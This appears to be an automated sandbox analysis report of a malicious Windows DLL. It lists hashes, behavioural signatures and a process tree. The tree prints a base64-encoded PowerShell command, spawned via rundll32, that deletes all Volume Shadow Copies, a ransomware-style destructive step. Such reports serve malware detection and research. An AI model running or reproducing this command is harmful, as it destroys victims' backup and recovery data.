Analysis
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max time kernel
53s -
max time network
5s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 02:06
Static task
static1
Behavioral task
behavioral1
Sample
4fb1ee653ab61e7d878a0ccdd62f8cd85b67bc4c51f145d6b5e822c41e2f00c5.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
4fb1ee653ab61e7d878a0ccdd62f8cd85b67bc4c51f145d6b5e822c41e2f00c5.dll
Resource
win10-en-20211208
General
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Target
4fb1ee653ab61e7d878a0ccdd62f8cd85b67bc4c51f145d6b5e822c41e2f00c5.dll
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Size
164KB
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MD5
c3f9726a402dab37dfade6f8ac43f22a
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SHA1
3e8363fb1fb4025aba344e9e3b6683f97ded19f1
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SHA256
4fb1ee653ab61e7d878a0ccdd62f8cd85b67bc4c51f145d6b5e822c41e2f00c5
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SHA512
8322d2e246eda908bf6d895418e0cd41cec7e25bddef7ea3be16a86525f6a8abb40abe2394f4855fca51f73fd14d161a31cc3292dc34ba932b1a482d83068c7e
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\X: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1720 rundll32.exe 468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1720 rundll32.exe Token: SeDebugPrivilege 468 powershell.exe Token: SeBackupPrivilege 1928 vssvc.exe Token: SeRestorePrivilege 1928 vssvc.exe Token: SeAuditPrivilege 1928 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1592 wrote to memory of 1720 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1720 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1720 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1720 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1720 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1720 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1720 1592 rundll32.exe rundll32.exe PID 1720 wrote to memory of 468 1720 rundll32.exe powershell.exe PID 1720 wrote to memory of 468 1720 rundll32.exe powershell.exe PID 1720 wrote to memory of 468 1720 rundll32.exe powershell.exe PID 1720 wrote to memory of 468 1720 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\4fb1ee653ab61e7d878a0ccdd62f8cd85b67bc4c51f145d6b5e822c41e2f00c5.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\4fb1ee653ab61e7d878a0ccdd62f8cd85b67bc4c51f145d6b5e822c41e2f00c5.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/468-55-0x000007FEFBC11000-0x000007FEFBC13000-memory.dmpFilesize
8KB
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memory/468-57-0x0000000002670000-0x0000000002672000-memory.dmpFilesize
8KB
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memory/468-58-0x0000000002672000-0x0000000002674000-memory.dmpFilesize
8KB
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memory/468-59-0x0000000002674000-0x0000000002677000-memory.dmpFilesize
12KB
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memory/468-56-0x000007FEF2FB0000-0x000007FEF3B0D000-memory.dmpFilesize
11.4MB
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memory/468-60-0x000000000267B000-0x000000000269A000-memory.dmpFilesize
124KB
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memory/1720-54-0x0000000076151000-0x0000000076153000-memory.dmpFilesize
8KB